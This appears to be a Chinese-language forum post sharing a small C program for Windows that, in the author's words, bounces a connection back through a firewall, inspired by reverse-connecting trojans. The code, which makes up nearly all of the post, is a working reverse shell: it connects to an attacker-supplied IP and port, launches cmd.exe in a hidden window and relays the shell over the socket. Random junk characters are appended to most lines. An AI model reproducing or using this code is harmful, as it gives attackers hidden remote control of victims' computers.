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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %,02i@Fc  
``VE<:2+  
/* ============================== ^GY^g-R  
Rebound port in Windows NT !<=zFy[J.9  
By wind,2006/7 n(eo_.W2|  
===============================*/ #\Rxqh7  
#include SF,:jpt`Z+  
#include X5[t6q!  
dEKu5GI  
#pragma comment(lib,"wsock32.lib") ~B"HI+:\L  
&DGz/o  
void OutputShell(); }k%6X@  
SOCKET sClient; S!=R\_{u$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IBJNs$  
Y8v[kuo7  
void main(int argc,char **argv) xlwf @XW  
{ T:{r*zLSN  
WSADATA stWsaData; F9K0  
int nRet; +<F3}]]  
SOCKADDR_IN stSaiClient,stSaiServer; PLs`Ci|`  
uE9,N$\L_  
if(argc != 3) E\s1p: %  
{ y _"V=:  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q}lCQK/g  
return; &k}B66  
} >(igVaZ>  
q 9xA.*  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pm)*zdZ8  
87l*Y|osP  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )/)u.$pi  
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stSaiClient.sin_family = AF_INET; mKO~`Wq%@  
stSaiClient.sin_port = htons(0); U.t][#<3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]3I a>i  
CV"}(1T  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zE$HHY2ovi  
{ !P EKMDh  
printf("Bind Socket Failed!\n"); QA0uT{x90  
return; >\? z,Nin  
} C@`#@1X  
rmkBp_i{|  
stSaiServer.sin_family = AF_INET; {X(nn.GpC  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); v8yCf7+"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1[Yl8W%pj  
:g63*d+/G  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]9w)0iH  
{ 1%B9xLq  
printf("Connect Error!"); N}B&(dJ  
return; I P#vfM  
} {q8|/{;  
OutputShell(); )?#K0o[<  
} @hg[v`~  
~$T>,^K y  
void OutputShell() kGAgXtE  
{ mm: TR?^  
char szBuff[1024]; TCyev[(  
SECURITY_ATTRIBUTES stSecurityAttributes; o<!H/PN  
OSVERSIONINFO stOsversionInfo; $aJay]F  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; t>}S@T{~T  
STARTUPINFO stStartupInfo; T=42]h  
char *szShell; a}NB6E)-  
PROCESS_INFORMATION stProcessInformation; IL.bwt pQD  
unsigned long lBytesRead; # 2^H{7  
,ESli/6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); # f-hI  
}a5TY("d9H  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y<- ]'Yts  
stSecurityAttributes.lpSecurityDescriptor = 0; dNt^lx  
stSecurityAttributes.bInheritHandle = TRUE; vkGF_aenk  
ms}o[Z@n  
q`2dL)E  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \os"w "  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3<$Ek3X  
"]]LQb$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -9{N7H  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /fT"WaTEK  
stStartupInfo.wShowWindow = SW_HIDE; unn2I|XH  
stStartupInfo.hStdInput = hReadPipe; 2H9hN4N  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oz=ULPZ%  
7_s+7x =  
GetVersionEx(&stOsversionInfo); sd%)g<t  
J{\Uw].|0  
switch(stOsversionInfo.dwPlatformId) oZY|o0/9  
{ Ss 5@n  
case 1: +0%r@hTv&>  
szShell = "command.com"; 56s%Qlgx  
break; )JTQZ,f3]  
default: nD eVYK  
szShell = "cmd.exe"; Het"x  
break; oA-,>:}g{  
} cb)7$S  
,iao56`E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |-S!)iG1V  
*> nOL  
send(sClient,szMsg,77,0); sv% E5@  
while(1) 5<PNl~0  
{ qtAt=` s  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); --l UEo~  
if(lBytesRead) vJ&D>Vh4e  
{ xOShO"4Z   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xP_%d,  
send(sClient,szBuff,lBytesRead,0); *Xk5H,:  
} |33t5}we  
else @u/CNx,`X  
{ 9;{(.K  
lBytesRead=recv(sClient,szBuff,1024,0); hE=xS:6  
if(lBytesRead<=0) break; OV;VsF  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |VaJ70\o  
} !6X6_ +}M  
} P/ 6$TgQ  
Lwi"K8.u  
return; *\'t$se+  
}
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